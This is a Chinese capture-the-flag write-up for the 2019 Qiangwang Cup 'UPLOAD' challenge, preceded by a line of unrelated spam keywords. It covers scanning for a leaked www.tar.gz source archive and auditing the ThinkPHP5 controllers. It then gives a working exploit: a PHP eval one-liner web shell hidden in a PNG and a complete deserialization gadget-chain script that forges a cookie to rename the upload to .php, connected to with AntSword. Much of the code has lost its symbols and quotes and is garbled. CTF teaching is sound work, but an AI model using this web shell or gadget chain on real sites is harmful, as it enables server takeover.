暴走漫画网站建设中模板,gif图片制作器,工业互联网平台的意义有哪些,做网站义乌题目链接#xff1a;2019强网杯 UPLOAD
解题思路
打开靶场如下图所示#xff0c;是一个注册和登录界面 那就注册登录一下#xff0c;发现是一个提交头像的页面#xff1a; 试了一下只有能正确显示的png图片才能提交成功#xff0c;同时F12拿到cookie#xff0c;base6…题目链接2019强网杯 UPLOAD
解题思路
打开靶场如下图所示是一个注册和登录界面 那就注册登录一下发现是一个提交头像的页面 试了一下只有能正确显示的png图片才能提交成功同时F12拿到cookiebase64解码后能看到图片上传到的路径。 没发现什么有用的信息试着扫扫目录扫出来一个www.tar.gz文件下载下来看一眼 此处吐槽用dirsearch.py扫了三次都没扫出来用dirmap也没扫出来最后查看dirsearch的默认字典准备把www.tar.gz加进去扫试试结果里面本来就有再扫就扫出来了我不理解… 那就下载下来看看这里下载下来的压缩文件在kali里解压不了拿出来到360压缩却能成功解压360真的很神奇是ThinkPhp5框架编写的项目源码 该框架下核心代码一般都在application/web/controller目录下审阅代码发现Index.php和Register.php文件下有两个断点应该是作者的Hint(提示)详情如下
Index.php 断点打在login_check方法中且访问大部分页面都会调用该方法该方法先从cookie中获取用户信息并将该信息反序列化随后到数据库中查找比对相关信息是否一致
Register.php 断点打在改Register类的析构方法__destruct()中该方法在对象被销毁时调用该析构方法内的语句意思是如果没有注册则跳转到首页这儿可能有点云里雾里没关系Register类的详情我们在文末详细分析。
此时已经有析构方法反序列化文件上传等线索可以大概推测出本题想要考察反序列化与文件上传。那么接下来就去看看上传头像的业务逻辑在application/web/controller.Profile.php中
Profile.php
首先可以看到上传头像的方法upload_img()主要逻辑是 先检查是否登录没登陆则跳转首页然后判断是否有文件如果有文件就将文件拓展名改为png然后检查是否为正常可显示的图片如果是就将文件复制到目标路径下并存储到数据库否则报错。
再往下看可以看到Profile类也有两个魔术方法__get()和__call()分别编写了在调用不可调用的成员变量和调用不可调用的方法时应该怎么做
__get ($name): 当调用不可调用的成员变量例如私有变量或不存在的变量时会从自身的except变量数组里查找返回
__call($name,$arguments): 当调用不可调用的方法例如私有方法或不存在的方法时判断是否有name的属性如果有以name的值为方法名尝试调用该方法
以上所有的魔术方法都会在本题中发挥重要作用
至此根据我们搜集到的信息我们可以利用index.php里的login_check()方法内的反序列化漏洞伪造一个cookie反序列化出一个我们制造的对象通过自定义对象的属性值来进行后续操作。大致思路
这里我们的思路是 1、构造一个图片马注册一个新号上传上去并记录下该文件的具体位置 2、构造一个对象构造什么对象我们后续详细操作步骤来探讨利用反序列化与魔术方法将文件后缀修改为.php 3、利用蚁剑连接获取flag
那么接下来就开始操作吧
1、构造图片马并上传
我们直接保存百度的logo然后用notepad打开在末尾嵌入?php eval($_POST[password]);?一句话木马此处的password就是蚁剑的连接密码 上传之后我们通过查看cookie记住文件的存储位置 eg:../upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png
注意 此处的一句话木马如果上传上去连接提示返回值为空可能存在以下问题
POST没有大写?php eval($_POST[password]);?要双引号单引号可能导致解析失败一句话木马书写有误蚁剑编码器解码器都选择base64
2、构造对象利用反序列化调用魔术方法修改文件后缀为php
我们要构造一个什么对象要明白这个问题我们要回到反序列化的源头index.php文件的login_check()方法请大家自行查看源码篇幅原因这里不再贴出可以看到此方法在反序列化对象之后程序没有任何地方调用过该对象的成员属性和成员方法用phpstorm看因此唯一能发挥作用的只有之前提到过的__destruct()方法在对象销毁时调用。 在本题中只有Register类有该魔术方法因此我们要构造的就是Register类的对象
class Register{public $checker;public $registed;public function __destruct(){if(!$this-registed){$this-checker-index();}}
}
$register new Register();
$register-registed false;再来看该魔术方法的逻辑想要通过判断应有registed false然后它调用了成员变量checker的inedx()方法该方法是Index.php中Index类下的发现如果正常调用没有什么地方有漏洞。这个应该想到魔术方法__call()了它在调用不可调用或者不存在的方法时被调用该魔术方法在Profile类中且该类并没有index()方法因此我们可以确定变量checker的值就是Profile类的对象。 为此我们还应该实例化一个Profile类
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this-except[$name];}public function __call($name, $arguments){if($this-{$name}){$this-{$this-{$name}}($arguments);}}
}
$profile new Profile();
$register-checker $profile;承接上述逻辑当调用profile对象的index()方法然该方法不存在则转而调用魔术方法并传入参数__call(index)方法此时会检查profile对象中有没有index这个属性显然是没有的那么调用不存在的属性时就会调用__get()方法从except数组中查找以index为键查找对应的值A并调用profile对象中以属性A的值为名称的方法也就是说我们可以以此方式调用Profile对象中的任何函数查看源码发现通过调用upload_img方法可以将文件从filename_tmp复制到filename处并删除filename_tmp文件就可以实现文件名后缀修改为php 因此在profile对象属性构造上可有如下
$profile-except [index img];
$profile-img upload_img;现在可以调用upload_img()方法了通过查看源码发现前两个if不给checker赋值不上传文件即可绕过最后一个if需要ext不为空通过修改filename_tmp和filename的值即可实现文件名和后缀的修改属性赋值如下: 注意这里的文件路径加了/public是因为Profile类的构造函数会加public而我们的反序列化不会调用构造函数所以需要我们手动加上去
$profile-ext png;//过if必须参数true也可以
$profile-filename_tmp ../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png;
$profile-filename ../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php;最后还要加上命名空间namespace位置和源码的Register类一致app\web\controller用来说明这个类来自哪里不然人家靶场不知道具体该从哪里序列化这个Profile类。然后序列化register对象即可。
整理代码如下所示
namespace app\web\controller;
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this-except[$name];}public function __call($name, $arguments){if($this-{$name}){$this-{$this-{$name}}($arguments);}}
}
class Register{public $checker;public $registed;public function __destruct(){if(!$this-registed){$this-checker-index();}}
}
$profile new Profile();
$profile-except [index img];
$profile-img upload_img;
$profile-ext png;
$profile-filename_tmp ../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png;
$profile-filename ../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php;$register new Register();
$register-registed false;
$register-checker $profile;
echo urlencode(base64_encode(serialize($register)));
运行这段代码POC得到Cookie利用Hackbar插件将cookie发送到靶机然后出现如下页面 让我们访问.php文件看看修改成功没有发现访问成功
3、连接蚁剑获取flag url处输入我们图片马的链接密码是一句话木马的参数名连接成功~然后在根目录下找到flag文件提交即可。
源码审计详解
1、Index.php
?php
namespace app\web\controller;//定义命名空间表示这个类属于app\web\controller
use think\Controller;//引入ThinkPHP5的Controller基类class Index extends Controller//Index类继承th5的Controller类
{public $profile;//会话中的用户信息public $profile_db;//数据库中的用户信息//index是默认的控制器方法用来处理用户访问主页的请求public function index(){//检查是否登录如果已登录则重定向到home方法if($this-login_check()){$curr_urlhttp://.$_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]./home;//构建重定向的URL$this-redirect($curr_url,302);//执行重定向并返回302状态码(临时重定向)exit();//终止脚本执行}return $this-fetch(index);//如果用户未登录则返回index视图}//home方法用于处理用户访问主页后的逻辑public function home(){//如果未登录if(!$this-login_check()){$curr_urlhttp://.$_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]./index;//重定向到index方法$this-redirect($curr_url,302);//执行重定向并返回302状态码exit();//终止程序执行}//如果用户没有上传图片if(!$this-check_upload_img()){$this-assign(username,$this-profile_db[username]);//调用tp5框架的assign方法将username分配到视图上显示return $this-fetch(upload);//返回上传图片的视图}else{ //如果用户上传了图片$this-assign(img,$this-profile_db[img]);//将img分配到视图上显示$this-assign(username,$this-profile_db[username]);//将username分配到视图上显示return $this-fetch(home);//返回home视图}}//用于检查用户是否登录public function login_check(){$profilecookie(user);//获取cookie中的用户信息//cookie中用户信息非空if(!empty($profile)){$this-profileunserialize(base64_decode($profile));//解码反序列化用户信息$this-profile_dbdb(user)-where(ID,intval($this-profile[ID]))-find();//从数据库中查询用户信息//如果数据库的用户信息与cookie中一致则返回1否则返回0if(array_diff($this-profile_db,$this-profile)null){return 1;}else{return 0;}}}//检查用户是否上传了图片public function check_upload_img(){//如果cookie中用户信息非空且数据库用户信息非空if(!empty($this-profile) !empty($this-profile_db)){//如果数据库中img字段为空返回0否则返回1if(empty($this-profile_db[img])){return 0;}else{return 1;}}}//用于处理用户注销public function logout(){cookie(user,null);//设置cookie为null$curr_urlhttp://.$_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]./index;//重定向到index视图$this-redirect($curr_url,302);//执行重定向并返回302状态码exit();//终止程序执行}//魔术方法当调用不可调用或不存在的属性时调用返回一个空字符串。public function __get($name){return ;}}2、Register.php
?php
namespace app\web\controller;
use think\Controller;class Register extends Controller
{public $checker;public $registed;//构造方法初始化register对象时调用public function __construct(){$this-checkernew Index(); //实例化一个Index对象赋值给checker}//处理用户的注册方法public function register(){//如果checker非空if ($this-checker) {//调用起login_check()方法检查用户书否登录如果登录if($this-checker-login_check()){$curr_urlhttp://.$_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]./home;//重定向到home视图$this-redirect($curr_url,302);//执行重定向发送302状态码exit();//中断脚本执行}}//从POST请求中获取username、email和password进行输入校验//如果都不为空if (!empty(input(post.username)) !empty(input(post.email)) !empty(input(post.password))) {//input是tp5的函数$email input(post.email, , addslashes);//调用addslashes函数对mail中的特殊字符进行转义$password input(post.password, , addslashes);$username input(post.username, , addslashes);//如果邮箱检测合法if($this-check_email($email)) {//如果数据库内内没有相同用户名或邮箱的用户if (empty(db(user)-where(username, $username)-find()) empty(db(user)-where(email, $email)-find())) {$user_info [email $email, password md5($password), username $username];//构建userinfo数组//向数据库中新增用户如果成功if (db(user)-insert($user_info)) {$this-registed 1;//设置已注册标记$this-success(Registed successful!, url(../index));//利用tp5的success方法跳转到成功页面} else {//新增用户失败则跳转到注册失败页面$this-error(Registed failed!, url(../index));}} else {//如果数据库中存在同用户名或邮箱用户提示用户已存在$this-error(Account already exists!, url(../index));}}else{//如果邮箱验证错误提示邮箱无效$this-error(Email illegal!, url(../index));}} else {//如果post参数有误提示有空值$this-error(Something empty!, url(../index));}}//检查邮箱是否合法public function check_email($email){$pattern /^[_a-z0-9-](\.[_a-z0-9-])*[a-z0-9-](\.[a-z0-9-])*(\.[a-z]{2,})$/;//构建正则表达式preg_match($pattern, $email, $matches);//利用该函数进行匹配if(empty($matches)){//匹配失败返回0return 0;}else{//否则返回1return 1;}}//魔术方法在对象销毁时调用public function __destruct(){如果已注册if(!$this-registed){//调用checker的index()方法返回主页$this-checker-index();}}
}3、Profile.php
?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;//构造函数public function __construct(){$this-checkernew Index();//实例化一个Index对象给checker$this-upload_menumd5($_SERVER[REMOTE_ADDR]);//使用客户端的IP地址生产一个MD5值作为上传目录的名称chdir(../public/upload);//切换相对目录如果没有该目录则创建//如果当前没有该上传目录则新建一个if(!is_dir($this-upload_menu)){mkdir($this-upload_menu);}chdir($this-upload_menu);//切换到上传目录}//上传头像方法public function upload_img(){//检查checker对象是否存在if($this-checker){//如果存在调用其login_check方法检查是否登录如果未登录if(!$this-checker-login_check()){$curr_urlhttp://.$_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]./index;//重定向到index视图$this-redirect($curr_url,302);exit();}}//如果上传文件非空if(!empty($_FILES)){$this-filename_tmp$_FILES[upload_file][tmp_name];//获取文件在服务器上的临时文件路径$this-filenamemd5($_FILES[upload_file][name])..png;//获取文件的原始名称并进行md5编码$this-ext_check();//检查文件扩展名是否合法}//如果ext非空if($this-ext) {//如果文件时有效图像if(getimagesize($this-filename_tmp)) {copy($this-filename_tmp, $this-filename);//将文件复制到filename处unlink($this-filename_tmp);//删除临时文件$this-img../upload/$this-upload_menu/$this-filename;//编辑img的存储地址$this-update_img();//更新图片}else{$this-error(Forbidden type!, url(../index));}}else{$this-error(Unknow file type!, url(../index));}}//更新图片public function update_img(){$user_infodb(user)-where(ID,$this-checker-profile[ID])-find();//从数据库查询用户信息//如果用户没有头像且当前图像存在if(empty($user_info[img]) $this-img){//更新用户数据库中的头像信息if(db(user)-where(ID,$user_info[ID])-data([imgaddslashes($this-img)])-update()){$this-update_cookie();//更新cookie$this-success(Upload img successful!, url(../home));//返回访问成功}else{$this-error(Upload file failed!, url(../index));}}}//更细cookiepublic function update_cookie(){$this-checker-profile[img]$this-img;cookie(user,base64_encode(serialize($this-checker-profile)),3600);}//拓展名检查public function ext_check(){$ext_arrexplode(.,$this-filename);//yi.分割ffilename为数组$this-extend($ext_arr);//获取数组最后一个元素if($this-extpng){//如果是png返回1否则返回0return 1;}else{return 0;}}//魔术方法访问不存在的变量或不可访问的变量时调用public function __get($name){return $this-except[$name];//从except数组中找}
‘//魔术方法当调用不可调用的方法或不存在的方法时调用public function __call($name, $arguments){//看看是否有该变量if($this-{$name}){//如果有调用以该变量的值为名称的函数$this-{$this-{$name}}($arguments);}}}碎片知识补充
1、文件下载
比如这题的www.tar.gz文件可以通过浏览器直接访问下载也可以通过linux命令下载 wget [url] -o [要保存位的文件名] curl -o [要保存位的文件名] [url]